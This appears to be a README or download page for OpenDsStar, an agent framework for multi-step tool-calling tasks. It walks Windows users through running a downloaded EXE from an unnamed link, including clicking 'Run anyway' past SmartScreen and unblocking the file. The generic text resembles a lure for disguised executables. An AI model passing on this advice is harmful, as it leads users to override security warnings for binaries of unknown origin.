OpenDsStar is an open-source agent app that helps you run step-by-step tasks with less manual work. It uses tools instead of fixed file flows, so it can reuse results and move through multi-step jobs in a cleaner way.
Use it when you want to:
- Run agent workflows that break work into small steps
- Reuse results from earlier steps
- Keep tasks modular and easier to manage
- Work with data science and reasoning tasks
- Build or test agents with tool calling
OpenDsStar is built for users who want to run it on Windows with a simple setup.
- Windows 10 or Windows 11
- A recent version of Chrome, Edge, or Firefox
- At least 8 GB of RAM
- 2 GB of free disk space
- A stable internet connection for the first download
- Make sure you can save files to your Downloads folder.
- Close large apps if your PC is low on memory.
- Use the same browser for the full download flow.
Use this link to visit the page to download:
- Open the download page.
- Look for the latest Windows build or release file.
- Download the file to your computer.
- If the file comes in a ZIP folder, extract it first.
- If the file is an EXE app, double-click it to run it.
- If Windows asks for permission, choose Yes.
- Wait for the app to finish starting.
After download, use the steps below based on the file type you got.
- Find the ZIP file in your Downloads folder.
- Right-click the file.
- Select Extract All.
- Choose a folder you can find again, like Desktop or Documents.
- Open the extracted folder.
- Double-click the app file inside the folder.
- Find the EXE file in your Downloads folder.
- Double-click it.
- If Windows SmartScreen appears, select More info, then Run anyway if you trust the source.
- Wait for the app window to open.
- Keep your internet connection on.
- Open the link or local address shown by the app.
- Use the app from your browser window.
When OpenDsStar starts, you can begin with a simple task flow.
- Choose the task you want the agent to handle.
- Add the input data, text, or files it needs.
- Pick the tools you want the agent to use.
- Start the run.
- Watch each step complete in order.
- Review the output and use it again if needed.
If you are testing agent behavior, start with a small task first. This helps you see how the tool flow works before you run a longer job.
OpenDsStar uses tools as the main building blocks. This keeps each step clear and makes the agent easier to change.
The app can keep work from earlier steps and use it again later. This saves time when the same result needs to support more than one step.
You do not need to repeat every step from the start. OpenDsStar can reuse earlier output when the next step depends on it.
The app helps with tasks that need more than one action. It can move from one step to the next in a planned flow.
You can split work into parts and manage each part on its own. This makes the whole process easier to follow.
OpenDsStar also fits test and benchmark work. You can compare runs, check output quality, and study how the agent behaves.
OpenDsStar can help with:
- Data analysis tasks that need several steps
- Research workflows with repeated lookups
- Agent tests that compare different tool setups
- Jobs where early results feed later steps
- Workflows that need clear traceable execution
- Reasoning tasks that should stay structured
After you unpack the app, you may see files like these:
OpenDsStar.exe— the main app fileconfig— app settingslogs— run history and error recordstools— tool files used by the agentdata— input and output filesREADME.md— project instructions
Keep these files together in the same folder unless the app says otherwise.
You can usually control a few common options from the app or config file:
- Input folder
- Output folder
- Tool list
- Run mode
- Logging level
- Reuse steps on or off
If you are not sure what to change, leave the default settings in place and run a small test first.
- Check that the file finished downloading
- Move the file to a simple folder like Desktop
- Try running it again
- Restart your PC and try once more
- Right-click the file
- Select Properties
- Look for an Unblock option if one appears
- Apply the change and try again
- Run it again
- Check the logs folder
- Make sure the required files are still in the same folder
- Close other large apps
- Free up disk space
- Reboot your PC
- Use smaller test inputs first
- Start with one small task
- Use clear input text
- Keep file names simple
- Avoid moving app files after setup
- Save outputs in a fixed folder
- Check results before starting a longer run
This project is built around:
- agent-framework
- agents
- benchmarking
- data-science
- ds-star
- incremental-execution
- multi-step-reasoning
- reasoning
- reusable-execution
- tool-calling
To get OpenDsStar, visit this page to download:
OpenDsStar works best when you want a repeatable task flow and a clean way to track each step. It helps you keep the work organized, reuse prior results, and manage agent tasks without heavy setup